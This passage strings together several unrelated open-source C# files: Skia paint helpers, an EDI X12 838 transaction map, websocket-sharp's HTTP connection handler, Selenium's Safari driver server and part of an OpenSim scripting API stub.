<returns></returns> private SurfaceRenderTarget CreateRenderTarget(Size size, bool isLayer, PixelFormat? format = null) { var pixelSize = PixelSize.FromSizeWithDpi(size, _dpi); var createInfo = new SurfaceRenderTarget.CreateInfo { Width = pixelSize.Width, Height = pixelSize.Height, Dpi = _dpi, Format = format, DisableTextLcdRendering = !_canTextUseLcdRendering, GrContext = _grContext, Gpu = _gpu, Session = _session, DisableManualFbo = !isLayer, }; return new SurfaceRenderTarget(createInfo); } /// <summary> /// Skia cached paint state. /// </summary> private readonly struct PaintState : IDisposable { private readonly SKColor _color; private readonly SKShader _shader; private readonly SKPaint _paint; public PaintState(SKPaint paint, SKColor color, SKShader shader) { _paint = paint; _color = color; _shader = shader; } /// <inheritdoc /> public void Dispose() { _paint.Color = _color; _paint.Shader = _shader; } } /// <summary> /// Skia paint wrapper. /// </summary> internal struct PaintWrapper : IDisposable { //We are saving memory allocations there public readonly SKPaint Paint; private readonly bool _disposePaint; private IDisposable _disposable1; private IDisposable _disposable2; private IDisposable _disposable3; public PaintWrapper(SKPaint paint, bool disposePaint) { Paint = paint; _disposePaint = disposePaint; _disposable1 = null; _disposable2 = null; _disposable3 = null; } public IDisposable ApplyTo(SKPaint paint) { var state = new PaintState(paint, paint.Color, paint.Shader); paint.Color = Paint.Color; paint.Shader = Paint.Shader; return state; } /// <summary> /// Add new disposable to a wrapper. /// </summary> /// <param name="disposable">Disposable to add.</param> public void AddDisposable(IDisposable disposable) { if (_disposable1 == null) { _disposable1 = disposable; } else if (_disposable2 == null) { _disposable2 = disposable; } else if (_disposable3 == null) { _disposable3 = disposable; } else { Debug.Assert(false); // ReSharper disable once HeuristicUnreachableCode throw new InvalidOperationException( "PaintWrapper disposable object limit reached. You need to add extra struct fields to support more disposables."); } } /// <inheritdoc /> public void Dispose() { if (_disposePaint) { Paint?.Dispose(); } else { Paint?.Reset(); } _disposable1?.Dispose(); _disposable2?.Dispose(); _disposable3?.Dispose(); } } } }
using EdiEngine.Common.Enums; using EdiEngine.Common.Definitions; using EdiEngine.Standards.X12_004010.Segments; namespace EdiEngine.Standards.X12_004010.Maps { public class M_838 : MapLoop { public M_838() : base(null) { Content.AddRange(new MapBaseEntity[] { new BTP() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new REQ() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new PER() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new SPI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_LX(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new ERI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new AMT() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } //1000 public class L_LX : MapLoop { public L_LX(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new LX() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new PLA() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new LCD() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new LIN() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_N1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_ENE(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //1100 public class L_N1 : MapLoop { public L_N1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new N1() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new N2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new N9() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new PER() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new CUR() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new TAX() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new FOB() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new ITD() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new TD5() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new SPI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new FBB() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new MEA() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_LCD(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_TPD(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_PAM(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_TXN(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_LM(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //1110 public class L_LCD : MapLoop { public L_LCD(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new LCD() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new N2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new N4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new DMG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new MEA() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //1120 public class L_TPD : MapLoop { public L_TPD(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new TPD() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new N9() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new PID() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new LS() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new L_TUD(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new LE() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new L_SPR(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //1121 public class L_TUD : MapLoop { public L_TUD(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new TUD() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new N1() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new N2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new PER() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //1122 public class L_SPR : MapLoop { public L_SPR(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new SPR() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new N9() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //1130 public class L_PAM : MapLoop { public L_PAM(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new PAM() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new TAX() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new CUR() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //1140 public class L_TXN : MapLoop { public L_TXN(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new TXN() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new N9() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //1150 public class L_LM : MapLoop { public L_LM(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new LM() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new LQ() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //1200 public class L_ENE : MapLoop { public L_ENE(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new ENE() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new L_N1_1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_TXN_1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //1210 public class L_N1_1 : MapLoop { public L_N1_1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new N1() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new N2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new TPD() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new PID() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new N9() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new PER() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //1220 public class L_TXN_1 : MapLoop { public L_TXN_1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new TXN() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new N9() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } } }
#region License /* * HttpConnection.cs * * This code is derived from System.Net.HttpConnection.cs of Mono * (http://www.mono-project.com). * * The MIT License * * Copyright (c) 2005 Novell, Inc. (http://www.novell.com) * Copyright (c) 2012-2013 sta.blockhead * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #endregion #region Authors /* * Authors: * Gonzalo Paniagua Javier <gonzalo@novell.com> */ #endregion using System; using System.IO; using System.Net; using System.Net.Sockets; using System.Reflection; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; using System.Threading; using WebSocketSharp.Net.Security; namespace WebSocketSharp.Net { internal sealed class HttpConnection { #region Internal Enums enum InputState { RequestLine, Headers } enum LineState { None, CR, LF } #endregion #region Private Const Fields private const int _bufferSize = 8192; #endregion #region Private Fields private byte [] _buffer; private bool _chunked; private HttpListenerContext _context; private bool _contextWasBound; private StringBuilder _currentLine; private EndPointListener _epListener; private InputState _inputState; private RequestStream _inputStream; private HttpListener _lastListener; private LineState _lineState; private ResponseStream _outputStream; private int _position; private ListenerPrefix _prefix; private MemoryStream _requestBuffer; private int _reuses; private bool _secure; private Socket _socket; private Stream _stream; private int _timeout; private Timer _timer; #endregion #region Public Constructors public HttpConnection ( Socket socket, EndPointListener listener, bool secure, X509Certificate2 cert) { _socket = socket; _epListener = listener; _secure = secure; var netStream = new NetworkStream (socket, false); if (!secure) _stream = netStream; else { var sslStream = new SslStream (netStream, false); sslStream.AuthenticateAsServer (cert); _stream = sslStream; } _timeout = 90000; // 90k ms for first request, 15k ms from then on. _timer = new Timer (onTimeout, null, Timeout.Infinite, Timeout.Infinite); init (); } #endregion #region Public Properties public bool IsClosed { get { return _socket == null; } } public bool IsSecure { get { return _secure; } } public IPEndPoint LocalEndPoint { get { return (IPEndPoint) _socket.LocalEndPoint; } } public ListenerPrefix Prefix { get { return _prefix; } set { _prefix = value; } } public IPEndPoint RemoteEndPoint { get { return (IPEndPoint) _socket.RemoteEndPoint; } } public int Reuses { get { return _reuses; } } public Stream Stream { get { return _stream; } } #endregion #region Private Methods private void closeSocket () { if (_socket == null) return; try { _socket.Close (); } catch { } finally { _socket = null; } removeConnection (); } private void init () { _chunked = false; _context = new HttpListenerContext (this); _inputState = InputState.RequestLine; _inputStream = null; _lineState = LineState.None; _outputStream = null; _position = 0; _prefix = null; _requestBuffer = new MemoryStream (); } private static void onRead (IAsyncResult asyncResult) { var conn = (HttpConnection) asyncResult.AsyncState; conn.onReadInternal (asyncResult); } private void onReadInternal (IAsyncResult asyncResult) { _timer.Change (Timeout.Infinite, Timeout.Infinite); var read = -1; try { read = _stream.EndRead (asyncResult); _requestBuffer.Write (_buffer, 0, read); if (_requestBuffer.Length > 32768) { SendError (); Close (true); return; } } catch { if (_requestBuffer != null && _requestBuffer.Length > 0) SendError (); if (_socket != null) { closeSocket (); unbind (); } return; } if (read <= 0) { closeSocket (); unbind (); return; } if (processInput (_requestBuffer.GetBuffer ())) { if (!_context.HaveError) _context.Request.FinishInitialization (); else { SendError (); Close (true); return; } if (!_epListener.BindContext (_context)) { SendError ("Invalid host", 400); Close (true); return; } var listener = _context.Listener; if (_lastListener != listener) { removeConnection (); listener.AddConnection (this); _lastListener = listener; } _contextWasBound = true; listener.RegisterContext (_context); return; } _stream.BeginRead (_buffer, 0, _bufferSize, onRead, this); } private void onTimeout (object unused) { closeSocket (); unbind (); } // true -> Done processing. // false -> Need more input. private bool processInput (byte [] data) { var length = data.Length; var used = 0; string line; try { while ((line = readLine ( data, _position, length - _position, ref used)) != null) { _position += used; if (line.Length == 0) { if (_inputState == InputState.RequestLine) continue; _currentLine = null; return true; } if (_inputState == InputState.RequestLine) { _context.Request.SetRequestLine (line); _inputState = InputState.Headers; } else { _context.Request.AddHeader (line); } if (_context.HaveError) return true; } } catch (Exception ex) { _context.ErrorMessage = ex.Message; return true; } _position += used; if (used == length) { _requestBuffer.SetLength (0); _position = 0; } return false; } private string readLine ( byte [] buffer, int offset, int length, ref int used) { if (_currentLine == null) _currentLine = new StringBuilder (); var last = offset + length; used = 0; for (int i = offset; i < last && _lineState != LineState.LF; i++) { used++; var b = buffer [i]; if (b == 13) { _lineState = LineState.CR; } else if (b == 10) { _lineState = LineState.LF; } else { _currentLine.Append ((char) b); } } string result = null; if (_lineState == LineState.LF) { _lineState = LineState.None; result = _currentLine.ToString (); _currentLine.Length = 0; } return result; } private void removeConnection () { if (_lastListener == null) _epListener.RemoveConnection (this); else _lastListener.RemoveConnection (this); } private void unbind () { if (_contextWasBound) { _epListener.UnbindContext (_context); _contextWasBound = false; } } #endregion #region Internal Methods internal void Close (bool force) { if (_socket != null) { if (_outputStream != null) { _outputStream.Close (); _outputStream = null; } var req = _context.Request; var res = _context.Response; force |= !req.KeepAlive; if (!force) force = res.Headers ["Connection"] == "close"; if (!force && req.FlushInput () && (!_chunked || (_chunked && !res.ForceCloseChunked))) { // Don't close. Keep working. _reuses++; unbind (); init (); BeginReadRequest (); return; } var socket = _socket; _socket = null; try { socket.Shutdown (SocketShutdown.Both); } catch { } finally { if (socket != null) socket.Close (); } unbind (); removeConnection (); return; } } #endregion #region Public Methods public void BeginReadRequest () { if (_buffer == null) _buffer = new byte [_bufferSize]; try { if (_reuses == 1) _timeout = 15000; _timer.Change (_timeout, Timeout.Infinite); _stream.BeginRead (_buffer, 0, _bufferSize, onRead, this); } catch { _timer.Change (Timeout.Infinite, Timeout.Infinite); closeSocket (); unbind (); } } public void Close () { Close (false); } public RequestStream GetRequestStream (bool chunked, long contentlength) { if (_inputStream == null) { var buffer = _requestBuffer.GetBuffer (); var length = buffer.Length; _requestBuffer = null; if (chunked) { _chunked = true; _context.Response.SendChunked = true; _inputStream = new ChunkedInputStream ( _context, _stream, buffer, _position, length - _position); } else { _inputStream = new RequestStream ( _stream, buffer, _position, length - _position, contentlength); } } return _inputStream; } public ResponseStream GetResponseStream () { // TODO: Can we get this stream before reading the input? if (_outputStream == null) { var listener = _context.Listener; var ignore = listener == null ? true : listener.IgnoreWriteExceptions; _outputStream = new ResponseStream (_stream, _context.Response, ignore); } return _outputStream; } public void SendError () { SendError (_context.ErrorMessage, _context.ErrorStatus); } public void SendError (string message, int status) { try { var res = _context.Response; res.StatusCode = status; res.ContentType = "text/html"; var description = status.GetStatusDescription (); var error = message != null && message.Length > 0 ? String.Format ("<h1>{0} ({1})</h1>", description, message) : String.Format ("<h1>{0}</h1>", description); var entity = res.ContentEncoding.GetBytes (error); res.Close (entity, false); } catch { // Response was already closed. } } #endregion } }
// <copyright file="SafariDriverServer.cs" company="WebDriver Committers"> // Copyright 2007-2011 WebDriver committers // Copyright 2007-2011 Google Inc. // Portions copyright 2011 Software Freedom Conservancy // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // </copyright> using System; using System.Collections.Generic; using System.Diagnostics; using System.Globalization; using System.IO; using System.Linq; using System.Net; using System.Net.Sockets; using System.Security.Permissions; using System.Text; using System.Threading; using OpenQA.Selenium.Internal; using OpenQA.Selenium.Remote; using OpenQA.Selenium.Safari.Internal; namespace OpenQA.Selenium.Safari { /// <summary> /// Provides the WebSockets server for communicating with the Safari extension. /// </summary> public class SafariDriverServer : ICommandServer { private WebSocketServer webSocketServer; private Queue<SafariDriverConnection> connections = new Queue<SafariDriverConnection>(); private Uri serverUri; private string temporaryDirectoryPath; private string safariExecutableLocation; private Process safariProcess; private SafariDriverConnection connection; private SafariDriverExtension extension; /// <summary> /// Initializes a new instance of the <see cref="SafariDriverServer"/> class using the specified options. /// </summary> /// <param name="options">The <see cref="SafariOptions"/> defining the browser settings.</param> public SafariDriverServer(SafariOptions options) { int webSocketPort = options.Port; if (webSocketPort == 0) { webSocketPort = PortUtilities.FindFreePort(); } this.webSocketServer = new WebSocketServer(webSocketPort, "ws://localhost/wd"); this.webSocketServer.Opened += new EventHandler<ConnectionEventArgs>(this.ServerOpenedEventHandler); this.webSocketServer.Closed += new EventHandler<ConnectionEventArgs>(this.ServerClosedEventHandler); this.webSocketServer.StandardHttpRequestReceived += new EventHandler<StandardHttpRequestReceivedEventArgs>(this.ServerStandardHttpRequestReceivedEventHandler); this.serverUri = new Uri(string.Format(CultureInfo.InvariantCulture, "http://localhost:{0}/", webSocketPort.ToString(CultureInfo.InvariantCulture))); if (string.IsNullOrEmpty(options.SafariLocation)) { this.safariExecutableLocation = GetDefaultSafariLocation(); } else { this.safariExecutableLocation = options.SafariLocation; } this.extension = new SafariDriverExtension(options.CustomExtensionPath, options.SkipExtensionInstallation); } /// <summary> /// Starts the server. /// </summary> public void Start() { this.webSocketServer.Start(); this.extension.Install(); string connectFileName = this.PrepareConnectFile(); this.LaunchSafariProcess(connectFileName); this.connection = this.WaitForConnection(TimeSpan.FromSeconds(45)); this.DeleteConnectFile(); if (this.connection == null) { throw new WebDriverException("Did not receive a connection from the Safari extension. Please verify that it is properly installed and is the proper version."); } } /// <summary> /// Sends a command to the server. /// </summary> /// <param name="commandToSend">The <see cref="Command"/> to send.</param> /// <returns>The command <see cref="Response"/>.</returns> public Response SendCommand(Command commandToSend) { return this.connection.Send(commandToSend); } /// <summary> /// Waits for a connection to be established with the server by the Safari browser extension. /// </summary> /// <param name="timeout">A <see cref="TimeSpan"/> containing the amount of time to wait for the connection.</param> /// <returns>A <see cref="SafariDriverConnection"/> representing the connection to the browser.</returns> public SafariDriverConnection WaitForConnection(TimeSpan timeout) { SafariDriverConnection foundConnection = null; DateTime end = DateTime.Now.Add(timeout); while (this.connections.Count == 0 && DateTime.Now < end) { Thread.Sleep(250); } if (this.connections.Count > 0) { foundConnection = this.connections.Dequeue(); } return foundConnection; } /// <summary> /// Releases all resources used by the <see cref="SafariDriverServer"/>. /// </summary> public void Dispose() { this.Dispose(true); GC.SuppressFinalize(this); } /// <summary> /// Releases the unmanaged resources used by the <see cref="SafariDriverServer"/> and optionally /// releases the managed resources. /// </summary> /// <param name="disposing"><see langword="true"/> to release managed and resources; /// <see langword="false"/> to only release unmanaged resources.</param> protected virtual void Dispose(bool disposing) { if (disposing) { this.webSocketServer.Dispose(); if (this.safariProcess != null) { this.CloseSafariProcess(); this.extension.Uninstall(); this.safariProcess.Dispose(); } } } private static string GetDefaultSafariLocation() { string safariPath = string.Empty; if (Environment.OSVersion.Platform == PlatformID.Win32NT) { // Safari remains a 32-bit application. Use a hack to look for it // in the 32-bit program files directory. If a 64-bit version of // Safari for Windows is released, this needs to be revisited. string programFilesDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles); if (Directory.Exists(programFilesDirectory + " (x86)")) { programFilesDirectory += " (x86)"; } safariPath = Path.Combine(programFilesDirectory, Path.Combine("Safari", "safari.exe")); } else { safariPath = "/Applications/Safari.app/Contents/MacOS/Safari"; } return safariPath; } [SecurityPermission(SecurityAction.Demand)] private void LaunchSafariProcess(string initialPage) { this.safariProcess = new Process(); this.safariProcess.StartInfo.FileName = this.safariExecutableLocation; this.safariProcess.StartInfo.Arguments = string.Format(CultureInfo.InvariantCulture, "\"{0}\"", initialPage); this.safariProcess.Start(); } [SecurityPermission(SecurityAction.Demand)] private void CloseSafariProcess() { if (this.safariProcess != null && !this.safariProcess.HasExited) { this.safariProcess.Kill(); while (!this.safariProcess.HasExited) { Thread.Sleep(250); } } } private string PrepareConnectFile() { string directoryName = FileUtilities.GenerateRandomTempDirectoryName("SafariDriverConnect.{0}"); this.temporaryDirectoryPath = Path.Combine(Path.GetTempPath(), directoryName); string tempFileName = Path.Combine(this.temporaryDirectoryPath, "connect.html"); string contents = string.Format(CultureInfo.InvariantCulture, "<!DOCTYPE html><script>window.location = '{0}';</script>", this.serverUri.ToString()); Directory.CreateDirectory(this.temporaryDirectoryPath); using (FileStream stream = File.Create(tempFileName)) { stream.Write(Encoding.UTF8.GetBytes(contents), 0, Encoding.UTF8.GetByteCount(contents)); } return tempFileName; } private void DeleteConnectFile() { Directory.Delete(this.temporaryDirectoryPath, true); } private void ServerOpenedEventHandler(object sender, ConnectionEventArgs e) { this.connections.Enqueue(new SafariDriverConnection(e.Connection)); } private void ServerClosedEventHandler(object sender, ConnectionEventArgs e) { } private void ServerStandardHttpRequestReceivedEventHandler(object sender, StandardHttpRequestReceivedEventArgs e) { const string PageSource = @"<!DOCTYPE html> <script> window.onload = function() {{ window.postMessage({{ 'type': 'connect', 'origin': 'webdriver', 'url': 'ws://localhost:{0}/wd' }}, '*'); }}; </script>"; string redirectPage = string.Format(CultureInfo.InvariantCulture, PageSource, this.webSocketServer.Port.ToString(CultureInfo.InvariantCulture)); StringBuilder builder = new StringBuilder(); builder.AppendLine("HTTP/1.1 200"); builder.AppendLine("Content-Length: " + redirectPage.Length.ToString(CultureInfo.InvariantCulture)); builder.AppendLine("Connection:close"); builder.AppendLine(); builder.AppendLine(redirectPage); e.Connection.SendRaw(builder.ToString()); } } }
/* * Copyright (c) Contributors, http://opensimulator.org/ * See CONTRIBUTORS.TXT for a full list of copyright holders. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the OpenSimulator Project nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ using System; using System.Runtime.Remoting.Lifetime; using System.Threading; using System.Reflection; using System.Collections; using System.Collections.Generic; using OpenSim.Framework; using OpenSim.Region.Framework.Interfaces; using OpenSim.Region.ScriptEngine.Interfaces; using OpenSim.Region.ScriptEngine.Shared.Api.Interfaces; using integer = OpenSim.Region.ScriptEngine.Shared.LSL_Types.LSLInteger; using vector = OpenSim.Region.ScriptEngine.Shared.LSL_Types.Vector3; using rotation = OpenSim.Region.ScriptEngine.Shared.LSL_Types.Quaternion; using key = OpenSim.Region.ScriptEngine.Shared.LSL_Types.LSLString; using LSL_List = OpenSim.Region.ScriptEngine.Shared.LSL_Types.list; using LSL_String = OpenSim.Region.ScriptEngine.Shared.LSL_Types.LSLString; using LSL_Key = OpenSim.Region.ScriptEngine.Shared.LSL_Types.LSLString; using LSL_Float = OpenSim.Region.ScriptEngine.Shared.LSL_Types.LSLFloat; using LSL_Integer = OpenSim.Region.ScriptEngine.Shared.LSL_Types.LSLInteger; namespace OpenSim.Region.ScriptEngine.Shared.ScriptBase { public partial class ScriptBaseClass : MarshalByRefObject { public IOSSL_Api m_OSSL_Functions; public void ApiTypeOSSL(IScriptApi api) { if (!(api is IOSSL_Api)) return; m_OSSL_Functions = (IOSSL_Api)api; Prim = new OSSLPrim(this); } public void osSetRegionWaterHeight(double height) { m_OSSL_Functions.osSetRegionWaterHeight(height); } public void osSetRegionSunSettings(bool useEstateSun, bool sunFixed, double sunHour) { m_OSSL_Functions.osSetRegionSunSettings(useEstateSun, sunFixed, sunHour); } public void osSetEstateSunSettings(bool sunFixed, double sunHour) { m_OSSL_Functions.osSetEstateSunSettings(sunFixed, sunHour); } public double osGetCurrentSunHour() { return m_OSSL_Functions.osGetCurrentSunHour(); } public double osGetSunParam(string param) { return m_OSSL_Functions.osGetSunParam(param); } // Deprecated public double osSunGetParam(string param) { return m_OSSL_Functions.osSunGetParam(param); } public void osSetSunParam(string param, double value) { m_OSSL_Functions.osSetSunParam(param, value); } // Deprecated public void osSunSetParam(string param, double value) { m_OSSL_Functions.osSunSetParam(param, value); } public string osWindActiveModelPluginName() { return m_OSSL_Functions.osWindActiveModelPluginName(); } public void osSetWindParam(string plugin, string param, LSL_Float value) { m_OSSL_Functions.osSetWindParam(plugin, param, value); } public LSL_Float osGetWindParam(string plugin, string param) { return m_OSSL_Functions.osGetWindParam(plugin, param); } public void osParcelJoin(vector pos1, vector pos2) { m_OSSL_Functions.osParcelJoin(pos1,pos2); } public void osParcelSubdivide(vector pos1, vector pos2) { m_OSSL_Functions.osParcelSubdivide(pos1, pos2); } public void osSetParcelDetails(vector pos, LSL_List rules) { m_OSSL_Functions.osSetParcelDetails(pos, rules); } // Deprecated public void osParcelSetDetails(vector pos, LSL_List rules) { m_OSSL_Functions.osParcelSetDetails(pos,rules); } public double osList2Double(LSL_Types.list src, int index) { return m_OSSL_Functions.osList2Double(src, index); } public string osSetDynamicTextureURL(string dynamicID, string contentType, string url, string extraParams, int timer) { return m_OSSL_Functions.osSetDynamicTextureURL(dynamicID, contentType, url, extraParams, timer); } public string osSetDynamicTextureData(string dynamicID, string contentType, string data, string extraParams, int timer) { return m_OSSL_Functions.osSetDynamicTextureData(dynamicID, contentType, data, extraParams, timer); } public string osSetDynamicTextureURLBlend(string dynamicID, string contentType, string url, string extraParams, int timer, int alpha) { return m_OSSL_Functions.osSetDynamicTextureURLBlend(dynamicID, contentType, url, extraParams, timer, alpha); } public string osSetDynamicTextureDataBlend(string dynamicID, string contentType, string data, string extraParams, int timer, int alpha) { return m_OSSL_Functions.osSetDynamicTextureDataBlend(dynamicID, contentType, data, extraParams, timer, alpha); } public string osSetDynamicTextureURLBlendFace(string dynamicID, string contentType, string url, string extraParams, bool blend, int disp, int timer, int alpha, int face) { return m_OSSL_Functions.osSetDynamicTextureURLBlendFace(dynamicID, contentType, url, extraParams, blend, disp, timer, alpha, face); } public string osSetDynamicTextureDataBlendFace(string dynamicID, string contentType, string data, string extraParams, bool blend, int disp, int timer, int alpha, int face) { return m_OSSL_Functions.osSetDynamicTextureDataBlendFace(dynamicID, contentType, data, extraParams, blend, disp, timer, 